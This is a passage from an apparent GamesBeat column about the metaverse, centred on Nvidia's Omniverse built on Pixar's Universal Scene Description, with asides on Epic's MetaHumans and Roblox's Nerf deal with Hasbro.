Epic Games has a foothold to establish the metaverse because it has the users and the cash. It has 350 million-plus registered users for Fortnite. And it has been investing beyond games into things like social networks and virtual concerts, as Sweeney knows that the metaverse — a place where we would live, work, and play — has to be about more than just games. Games are a springboard to the metaverse, but they’re only a part of what must be built.

Above: These people are not people. They MetaHumans.

Image Credit: Epic Games

One of the keys to the metaverse will be making realistic animated digital humans, and two of Epic’s leaders — Paul Doyle and Vladimir Mastilović — will speak on that topic at our upcoming GamesBeat Summit 2021 conference on April 28 and April 29. This fits squarely with the notion of building out the experience of the metaverse. We need avatars to engage in games, have social experiences, and listen to live music, according to my friend Jon Radoff (CEO of Beamable) in a recent blog post.

Meanwhile, this morning Nvidia announced something called GanVerse, which can take a 2D picture of a car and turn it into a 3D model. It’s one more tool to automate creation for the metaverse.

To make the metaverse come to life, we need so many more layers, including discovery tools, a creator economy, spatial computing to deliver us the wow 3D experience, decentralization to make commerce between worlds seamless and permission-less, human interface and new devices that make the metaverse believable, and infrastructure too.

The Omniverse

BMW Group is using Omniverse to build a digital factory that will mirror a real-world place.

Above: BMW Group is using Omniverse to build a digital factory that will mirror a real-world place.

Image Credit: Nvidia

And when you think about those things, that is what we got in another Big Bang this week as Nvidia announced its enterprise version of the Omniverse, a metaverse for engineers. By itself, that doesn’t sound too exciting. But drilling deep on it, I learned a lot about how important the Omniverse could be in providing the foundational glue for the metaverse.

“The science fiction metaverse is near,” said Nvidia CEO Jensen Huang in a keynote speech this week at the company’s GTC 21 online event.

First, Nvidia has been working on the Omniverse — which can simulate real-world physics — for four years, and it has invested hundreds of millions of dollars in it, said Nvidia’s Richard Kerris in a press briefing.

Nvidia started this as “Project Holodeck,” using proprietary technology. But it soon discovered the Universal Scene Description language that Pixar invented for describing 3D data in an open, standardized way. Pixar invented this “HTML of 3D” and shared it with its vendors because it didn’t want to keep reinventing 3D tools for its animated movies.

“The way to think about USD is the way you would think about HTML for the internet,” Huang said. “This is HTML for 3D worlds. Omniverse is a world that connects all these worlds. The thing that’s unique about Omniverse is its ability to simulate physically and photorealistically.”

It open sourced USD about eight years ago, and it has spread to multiple industries. One of the best things about it is that it enable remote collaboration, where multiple artists could work on the same 3D model at once.

jon radoff 2

Above: The metaverse market map

Image Credit: Jon Radoff

Nvidia made USD the foundation for the Omniverse, adding real-time capabilities. Now BMW Group, Ericsson, Foster + Partners, and WPP are using it, as are 400 enterprises. It has application support from Bentley Systems, Autodesk, Adobe, Epic Games, ESRI, Graphisoft, Trimble, Robert McNeel & Associates, Blender, Marvelous Designer, Reallusion, and Wrnch. That’s just about the entire 3D pipeline for tools used to make things like games, engineering designs, architectural projects, movies, and advertisements.

BMW Group is building a car factory in the Omniverse, replicating exactly what it would build in the real world but doing it first in a “digital twin” before it has to commit any money to physical construction. I saw a demo of the Omniverse, and Nvidia’s engineers told me you could zip through it at 60 frames per second using a computer with a single Nvidia GeForce RTX card (if you can get one).

“You could be in Adobe and collaborate with someone using Autodesk or the Unreal Engine and so on. It’s a world that connects all of the designers using different worlds,” Huang said. “As a result, you’re in a shared world to create a theme or a game. With Omniverse you can also connect AI characters. They don’t have to be real characters. Using design tools for these AI characters, they can be robots. They can be performing not design tasks, but animation tasks and robotics tasks, in one world. That one world could be a shared world, like the simulated BMW factory we demonstrated.”

Bentley's tools used to create a digital twin of a location in the Omniverse.

Above: Bentley’s tools used to create a digital twin of a location in the Omniverse.

Image Credit: Nvidia

Nvidia hopes to test self-driving cars — which use Nvidia’s AI chips — inside the Omniverse, driving them across a virtual U.S., from California to New York. It can’t do that in the real world. Volvo needs the Omniverse to create a city environment around its cars so that it can test them in the right context. And its engineers can virtually sit in the car and walk around it while designing it.

The Omniverse is a metaverse that obeys the laws of physics and supports things that are being created by 3D creators around the world. You don’t have to take a Maya file and export it in a laborious process to the Omniverse. It just works in the Omniverse, and you can collaborate across companies — something that the true metaverse will require. Nvidia wants tens of millions of designers, engineers, architects and other creators — including game designers — to work and live in the Omniverse.

“Omniverse, when you generalize it, is a shared simulated virtual world. Omniverse is the foundation platform for our AR and VR strategies,” Huang said. “It’s also the platform for our design and collaboration strategies. It’s our metaverse virtual world strategy platform, and it’s our robotics and autonomous machine AI strategy platform. You’ll see a lot more of Omniverse. It’s one of the missing links, the missing piece of technology that’s important for the next generation of autonomous AI.”

Why the Omniverse matters to games

Nvidia Omniverse

Above: Nvidia’s Omniverse is going to be important.

Image Credit: Nvidia

By building the Omniverse for real-time interaction, Nvidia made it better for game designers. Gamers zip through worlds at speeds ranging from 30 frames per second to 120 frames per second or more. With Nvidia’s RTX cards, they can now do that with highly realistic 3D scenery that takes advantage of real-time ray tracing, or realistic lighting and shadows. And Kerris said that most what you see doesn’t have to be constantly refreshed on every user’s screen, making the real-time updating of the Omniverse more efficient.

Tools like Unreal or Unity can plug into the Omniverse, thanks to USD. They can create games, but once the ecosystem becomes mature, they can also absorb assets from other industries. Games commonly include realistic replicas of cities. Rockstar Games built copies of New York and Los Angeles for its games. Ubisoft has built places such as Bolivia, Idaho, and Paris for its games. Imagine if they built highly realistic replicas and then traded them with each other. The process of creating games could be more efficient, and the idea of building a true metaverse, like the entire U.S., wouldn’t seem so crazy. The Omniverse could make it possible.

Some game companies are thinking about this. One of the studios playing with Omniverse is Embark Studios. It’s founder is Patrick Soderlund, the former head of studios for Electronic Arts. Embark has backing from Nexon, one of the world’s biggest makers of online games. And since the tools for Omniverse will eventually be simplified, users themselves might one day be able to contribute their designs to the Omniverse.

Huang thinks that game designers will eventually feel more comfortable designing their worlds while inside the Omniverse, using VR headsets or other tools.

Nvidia's Omniverse can simulate a physically accurate car.

Above: Nvidia’s Omniverse can simulate a physically accurate car.

Image Credit: Nvidia

“Game development is one of the most complex design pipelines in the world today,” Huang said. “I predict that more things will be designed in the virtual world, many of them for games, than there will be designed in the physical world. They will be every bit as high quality and high fidelity, every bit as exquisite, but there will be more buildings, more cars, more boats, more coins, and all of them — there will be so much stuff designed in there. And it’s not designed to be a game prop. It’s designed to be a real product. For a lot of people, they’ll feel that it’s as real to them in the digital world as it is in the physical world.”

Omniverse enables game developers working across this complicated pipeline, allowing them to be connected, Huang said.

“Now they have Omniverse to connect into. Everyone can see what everyone else is doing, rendering in a fidelity that is at the level of what everyone sees,” he said. “Once the game is developed, they can run it in the Unreal engine that gets exported out. These worlds get run on all kinds of devices. Or Unity. But if someone wants to stream it right out of the cloud, they could do that with Omniverse, because it needs multiple GPUs, a fair amount of computation.”

He added, “That’s how I see it evolving. But within Omniverse, just the concept of designing virtual worlds for the game developers, it’s going to be a huge benefit to their work flow. The metaverse is coming. Future worlds will be photorealistic, obey the laws of physics or not, and be inhabited by human avatars and AI beings.”

Brands and the metaverse

hasbro

Above: Hasbro’s Nerf guns are appearing inside Roblox.

Image Credit: Hasbro/Roblox

On a smaller scale, Roblox also did something important. It cut a deal with Hasbro’s Nerf brand this week, where some new blasters will come to the game. Roblox doesn’t make the blasters itself. Rather, it picks some talented developers to make them, so that it stays true to its user-generated content mantra. That Roblox can partner with a company like Hasbro shows the brands have confidence in Roblox, as it has demonstrated in deals with Warner Bros.

Usually, user-generated content and brands don’t mix. The users copy the copyrighted brands, and the brands have to take some legal action. But Roblox invests a lot in digital safety and it doesn’t seem to have as big a problem as other entities. That’s important. We know that Roblox is a leading contender for turning into the metaverse because it has the users — 36 million a day. But the real test is whether the brands will come and make that metaverse as lucrative as other places where the brands show up, like luxury malls.

And FYI, we’ve got a panel on Brands and the Metaverse at our GamesBeat Summit 2021 event on April 28 and April 29. Kudos for Steven Augustine of Intel for planting that thought in my brain months ago.

I feel like the momentum for the metaverse is only getting stronger, and it is embedding itself in our brains as a kind of Holy Grail — or some other lost treasure in other cultures — that we must find in order to reach our ultimate goals.

GamesBeat

GamesBeat’s creed when covering the game industry is “where passion meets business.” What does this mean? We want to tell you how the news matters to you — not just as a decision-maker at a game studio, but also as a fan of games. Whether you read our articles, listen to our podcasts, or watch our videos, GamesBeat will help you learn about the industry and enjoy engaging with it.

How will you do that? Membership includes access to:

  • Newsletters, such as DeanBeat
  • The wonderful, educational, and fun speakers at our events
  • Networking opportunities
  • Special members-only interviews, chats, and “open office” events with GamesBeat staff
  • Chatting with community members, GamesBeat staff, and other guests in our Discord
  • And maybe even a fun prize or two
  • Introductions to like-minded parties

Become a member

Continue Reading

Trending